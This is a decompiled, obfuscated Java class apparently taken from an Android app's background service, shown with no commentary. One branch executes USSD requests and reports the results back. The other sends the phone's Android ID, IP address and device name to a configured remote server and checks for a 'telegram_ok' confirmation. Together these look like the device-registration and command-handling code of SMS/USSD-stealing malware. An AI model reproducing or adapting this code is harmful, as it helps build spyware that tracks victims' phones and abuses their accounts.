package o;

import ir.devixor.app.service.ForegroundService;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.uB, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C2601uB extends Sb0 implements SC {
    public final /* synthetic */ int p;
    public final /* synthetic */ ForegroundService q;
    public final /* synthetic */ String r;
    public final /* synthetic */ String s;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public /* synthetic */ C2601uB(ForegroundService foregroundService, String str, String str2, InterfaceC0220Im interfaceC0220Im, int i) {
        super(2, interfaceC0220Im);
        this.p = i;
        this.q = foregroundService;
        this.r = str;
        this.s = str2;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) throws JSONException, UnsupportedEncodingException {
        InterfaceC0065Cn interfaceC0065Cn = (InterfaceC0065Cn) obj;
        InterfaceC0220Im interfaceC0220Im = (InterfaceC0220Im) obj2;
        switch (this.p) {
            case 0:
                C2601uB c2601uB = (C2601uB) l(interfaceC0065Cn, interfaceC0220Im);
                Oh0 oh0 = Oh0.a;
                c2601uB.n(oh0);
                return oh0;
            default:
                return ((C2601uB) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
        }
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        switch (this.p) {
            case 0:
                return new C2601uB(this.q, this.r, this.s, interfaceC0220Im, 0);
            default:
                return new C2601uB(this.q, this.r, this.s, interfaceC0220Im, 1);
        }
    }

    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws JSONException, UnsupportedEncodingException {
        String string;
        String str;
        String strOptString;
        JSONObject jSONObjectOptJSONObject;
        int i = this.p;
        String str2 = this.r;
        ForegroundService foregroundService = this.q;
        boolean z = false;
        String str3 = this.s;
        switch (i) {
            case 0:
                IJ.H(obj);
                try {
                    JSONObject jSONObject = new JSONObject(ForegroundService.M(foregroundService, str2));
                    foregroundService.w0("SEND_SMS:1:" + str3 + ":" + (jSONObject.optBoolean("success", false) ? Za0.n0(500, jSONObject.optString("message", "FAILED")) : "USSD FAILED"));
                } catch (Exception unused) {
                    String strJ = AbstractC2462sn.j("SEND_SMS:1:", str3, ":USSD ERROR");
                    boolean z2 = ForegroundService.w;
                    foregroundService.w0(strJ);
                }
                return Oh0.a;
            default:
                IJ.H(obj);
                try {
                    JSONObject jSONObject2 = foregroundService.f36o;
                    string = jSONObject2 != null ? jSONObject2.getString("receive_url") : null;
                    str = "";
                    if (string == null) {
                        string = "";
                    }
                    JSONObject jSONObject3 = foregroundService.f36o;
                    String string2 = jSONObject3 != null ? jSONObject3.getString("port") : null;
                    if (string2 != null) {
                        str = string2;
                    }
                } catch (Exception unused2) {
                }
                if (string.length() != 0 && str.length() != 0) {
                    JSONArray jSONArrayOptJSONArray = new JSONObject(ForegroundService.o(foregroundService)).optJSONArray("ips");
                    if (jSONArrayOptJSONArray == null || (jSONObjectOptJSONObject = jSONArrayOptJSONArray.optJSONObject(0)) == null || (strOptString = jSONObjectOptJSONObject.optString("ip")) == null) {
                        strOptString = "unknown";
                    }
                    String strEncode = URLEncoder.encode(foregroundService.q, "UTF-8");
                    String str4 = string + "?type=" + str2 + "&port=" + str + "&android_id=" + foregroundService.p + "&ip=" + strOptString + "&device_name=" + strEncode;
                    str3.getClass();
                    String strB = AbstractC2619uT.b(str4, str3);
                    if (strB == null) {
                        return Boolean.FALSE;
                    }
                    JSONObject jSONObject4 = new JSONObject(strB);
                    boolean zOptBoolean = jSONObject4.optBoolean("ok", false);
                    boolean zOptBoolean2 = jSONObject4.optBoolean("telegram_ok", false);
                    String strOptString2 = jSONObject4.optString("status");
                    if (zOptBoolean && zOptBoolean2 && F3.c(strOptString2, "send_device_success")) {
                        z = true;
                    }
                    return Boolean.valueOf(z);
                }
                return Boolean.FALSE;
        }
    }
}
